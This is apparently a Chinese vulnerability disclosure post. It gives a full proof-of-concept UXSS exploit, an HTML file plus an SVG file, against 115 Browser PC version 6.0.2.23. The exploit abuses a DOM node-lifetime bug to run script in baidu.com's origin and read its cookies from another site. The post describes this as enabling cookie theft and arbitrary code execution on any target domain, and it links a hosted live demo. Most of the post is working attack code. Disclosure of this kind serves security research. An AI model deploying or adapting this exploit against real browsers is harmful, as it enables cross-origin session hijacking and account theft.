115浏览器PC版UXSS漏洞指哪打哪

UXSS漏洞非跨域漏洞,可以在wooyun.org直接打baidu.com的Cookie,在目标域执行任意代码。
版本:6.0.2.23

最新版:

QQ20160212-0@2x.png

利用代码

1.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<body><iframe></iframe><table><b><p><iframe></iframe><script>
frames[1].onunload = function() {
document.body.removeChild(document.querySelector('table'));
}

onunload = function() {
// Clean up to fix some crashes during reload.
while (document.childNodes.length) {
document.removeChild(document.childNodes[0]);
}
}

onload = function() {
try{ frames[0].a }catch(e){ location.reload() };
xof = frames[0].frameElement;
xof.onload = function() {
xof.onload = null;
xof.src = 'javascript:alert(document.cookie)';
var xmlErr = document.documentElement.appendChild(document.createElement('iframe'));
xmlErr.src = '1.svg';
}
xof.src = 'http://www.baidu.com/';
}
</script></b></p></table></body>

1.svg

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<svg xmlns="http://www.w3.org/2000/svg">
<script>
document.documentElement.appendChild(document.createElementNS('http://www.w3.org/1999/xhtml', 'iframe'));

var b = top.xof.parentNode;
if (t = b.childNodes[1]) {
// It appears that something is holding the table element alive
// because the node destructor didn't run and its siblings' refs
// to it weren't cleared, so it's still reachable during node
// traversals. That'd crash when insertedInto notifications try to
// use the node's parentOrShadowHostNode(), so make sure it has
// a parent, and use a spare document to avoid traversal loops.
top.frames[1].document.body.appendChild(t);
}

frames[0].onunload = function() {
document.documentElement.appendChild(b);
b.insertBefore(document.createElement('x'), top.xof);
}
</script>
<element a="1" a="2" />
</svg>

访问1.html即可执行在百度主域名下执行javascript:alert(document.cookie)

http://mhz.pw/game/chrome/1.html

QQ20160212-1@2x.png